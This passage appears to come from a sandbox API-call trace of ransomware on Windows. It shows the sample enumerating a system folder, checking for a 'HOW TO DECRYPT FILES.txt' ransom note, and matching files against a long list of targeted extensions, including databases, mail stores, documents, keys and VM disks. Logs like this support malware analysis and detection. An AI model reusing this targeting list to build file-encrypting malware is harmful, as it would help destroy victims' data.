lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\" [0101.320] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.320] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.320] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.ehrecobj\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0x20 [0101.320] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\", lpString2="Policy.6.0.ehRecObj.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll" [0101.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.ems") returned 0 [0101.320] lstrlenA (lpString="*.ems") returned 5 [0101.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.db") returned 0 [0101.320] lstrlenA (lpString="*.db") returned 4 [0101.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.dbf") returned 0 [0101.320] lstrlenA (lpString="*.dbf") returned 5 [0101.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.myox") returned 0 [0101.320] lstrlenA (lpString="*.myox") returned 6 [0101.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.myo") returned 0 [0101.320] lstrlenA (lpString="*.myo") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qbw") returned 0 [0101.321] lstrlenA (lpString="*.qbw") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qbb") returned 0 [0101.321] lstrlenA (lpString="*.qbb") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qbm") returned 0 [0101.321] lstrlenA (lpString="*.qbm") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qbo") returned 0 [0101.321] lstrlenA (lpString="*.qbo") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qbx") returned 0 [0101.321] lstrlenA (lpString="*.qbx") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qba") returned 0 [0101.321] lstrlenA (lpString="*.qba") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qby") returned 0 [0101.321] lstrlenA (lpString="*.qby") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qbj") returned 0 [0101.321] lstrlenA (lpString="*.qbj") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.ofx") returned 0 [0101.321] lstrlenA (lpString="*.ofx") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.qif") returned 0 [0101.321] lstrlenA (lpString="*.qif") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.mye") returned 0 [0101.321] lstrlenA (lpString="*.mye") returned 5 [0101.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.mbox") returned 0 [0101.322] lstrlenA (lpString="*.mbox") returned 6 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.eml") returned 0 [0101.322] lstrlenA (lpString="*.eml") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.pst") returned 0 [0101.322] lstrlenA (lpString="*.pst") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.ost") returned 0 [0101.322] lstrlenA (lpString="*.ost") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.idx") returned 0 [0101.322] lstrlenA (lpString="*.idx") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.dbx") returned 0 [0101.322] lstrlenA (lpString="*.dbx") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.sql") returned 0 [0101.322] lstrlenA (lpString="*.sql") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.mdb") returned 0 [0101.322] lstrlenA (lpString="*.mdb") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.fdb") returned 0 [0101.322] lstrlenA (lpString="*.fdb") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.wab") returned 0 [0101.322] lstrlenA (lpString="*.wab") returned 5 [0101.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.dat") returned 0 [0101.322] lstrlenA (lpString="*.dat") returned 5 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.txt") returned 0 [0101.323] lstrlenA (lpString="*.txt") returned 5 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.jpeg") returned 0 [0101.323] lstrlenA (lpString="*.jpeg") returned 6 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.jpg") returned 0 [0101.323] lstrlenA (lpString="*.jpg") returned 5 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.png") returned 0 [0101.323] lstrlenA (lpString="*.png") returned 5 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.php") returned 0 [0101.323] lstrlenA (lpString="*.php") returned 5 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.cs") returned 0 [0101.323] lstrlenA (lpString="*.cs") returned 4 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.cpp") returned 0 [0101.323] lstrlenA (lpString="*.cpp") returned 5 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.rar") returned 0 [0101.323] lstrlenA (lpString="*.rar") returned 5 [0101.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.zip") returned 0 [0101.323] lstrlenA (lpString="*.zip") returned 5 [0101.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.html") returned 0 [0101.324] lstrlenA (lpString="*.html") returned 6 [0101.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.htm") returned 0 [0101.324] lstrlenA (lpString="*.htm") returned 5 [0101.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.xlsx") returned 0 [0101.324] lstrlenA (lpString="*.xlsx") returned 6 [0101.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.xls") returned 0 [0101.324] lstrlenA (lpString="*.xls") returned 5 [0101.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.mp4") returned 0 [0101.324] lstrlenA (lpString="*.mp4") returned 5 [0101.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.ppt") returned 0 [0101.324] lstrlenA (lpString="*.ppt") returned 5 [0101.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.pptx") returned 0 [0101.324] lstrlenA (lpString="*.pptx") returned 6 [0101.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.doc") returned 0 [0101.324] lstrlenA (lpString="*.doc") returned 5 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.dot") returned 0 [0101.325] lstrlenA (lpString="*.dot") returned 5 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.docx") returned 0 [0101.325] lstrlenA (lpString="*.docx") returned 6 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.7z") returned 0 [0101.325] lstrlenA (lpString="*.7z") returned 4 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.tar") returned 0 [0101.325] lstrlenA (lpString="*.tar") returned 5 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.bz2") returned 0 [0101.325] lstrlenA (lpString="*.bz2") returned 5 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.gz") returned 0 [0101.325] lstrlenA (lpString="*.gz") returned 4 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.mkv") returned 0 [0101.325] lstrlenA (lpString="*.mkv") returned 5 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.eml") returned 0 [0101.325] lstrlenA (lpString="*.eml") returned 5 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.msg") returned 0 [0101.325] lstrlenA (lpString="*.msg") returned 5 [0101.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.edb") returned 0 [0101.326] lstrlenA (lpString="*.edb") returned 5 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.accdb") returned 0 [0101.326] lstrlenA (lpString="*.accdb") returned 7 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.odb") returned 0 [0101.326] lstrlenA (lpString="*.odb") returned 5 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.java") returned 0 [0101.326] lstrlenA (lpString="*.java") returned 6 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.asm") returned 0 [0101.326] lstrlenA (lpString="*.asm") returned 5 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.pfx") returned 0 [0101.326] lstrlenA (lpString="*.pfx") returned 5 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.pem") returned 0 [0101.326] lstrlenA (lpString="*.pem") returned 5 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.p12") returned 0 [0101.326] lstrlenA (lpString="*.p12") returned 5 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.gpg") returned 0 [0101.326] lstrlenA (lpString="*.gpg") returned 5 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.vsd") returned 0 [0101.326] lstrlenA (lpString="*.vsd") returned 5 [0101.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.odg") returned 0 [0101.326] lstrlenA (lpString="*.odg") returned 5 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.raw") returned 0 [0101.327] lstrlenA (lpString="*.raw") returned 5 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.nef") returned 0 [0101.327] lstrlenA (lpString="*.nef") returned 5 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.svg") returned 0 [0101.327] lstrlenA (lpString="*.svg") returned 5 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.psd") returned 0 [0101.327] lstrlenA (lpString="*.psd") returned 5 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.vmx") returned 0 [0101.327] lstrlenA (lpString="*.vmx") returned 5 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.vmdk") returned 0 [0101.327] lstrlenA (lpString="*.vmdk") returned 6 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.vdi") returned 0 [0101.327] lstrlenA (lpString="*.vdi") returned 5 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.lay6") returned 0 [0101.327] lstrlenA (lpString="*.lay6") returned 6 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.mpeg") returned 0 [0101.327] lstrlenA (lpString="*.mpeg") returned 6 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.djvu") returned 0 [0101.327] lstrlenA (lpString="*.djvu") returned 6 [0101.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.tiff") returned 0 [0101.328] lstrlenA (lpString="*.tiff") returned 6 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.backup") returned 0 [0101.328] lstrlenA (lpString="*.backup") returned 8 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.pdf") returned 0 [0101.328] lstrlenA (lpString="*.pdf") returned 5 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.cert") returned 0 [0101.328] lstrlenA (lpString="*.cert") returned 6 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.docm") returned 0 [0101.328] lstrlenA (lpString="*.docm") returned 6 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.xlsm") returned 0 [0101.328] lstrlenA (lpString="*.xlsm") returned 6 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.dwg") returned 0 [0101.328] lstrlenA (lpString="*.dwg") returned 5 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.nd") returned 0 [0101.328] lstrlenA (lpString="*.nd") returned 4 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.tlg") returned 0 [0101.328] lstrlenA (lpString="*.tlg") returned 5 [0101.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.lgb") returned 0 [0101.329] lstrlenA (lpString="*.lgb") returned 5 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.mov") returned 0 [0101.329] lstrlenA (lpString="*.mov") returned 5 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.xdw") returned 0 [0101.329] lstrlenA (lpString="*.xdw") returned 5 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.ods") returned 0 [0101.329] lstrlenA (lpString="*.ods") returned 5 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.wav") returned 0 [0101.329] lstrlenA (lpString="*.wav") returned 5 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.mp3") returned 0 [0101.329] lstrlenA (lpString="*.mp3") returned 5 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.aiff") returned 0 [0101.329] lstrlenA (lpString="*.aiff") returned 6 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.flac") returned 0 [0101.329] lstrlenA (lpString="*.flac") returned 6 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.m4a") returned 0 [0101.329] lstrlenA (lpString="*.m4a") returned 5 [0101.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.dll", pszSpec="*.csv") returned 0 [0101.329] lstrlenA (lpString="*.csv") returned 5 [0101.329] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.6.0.ehRecObj.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.330] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.330] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, 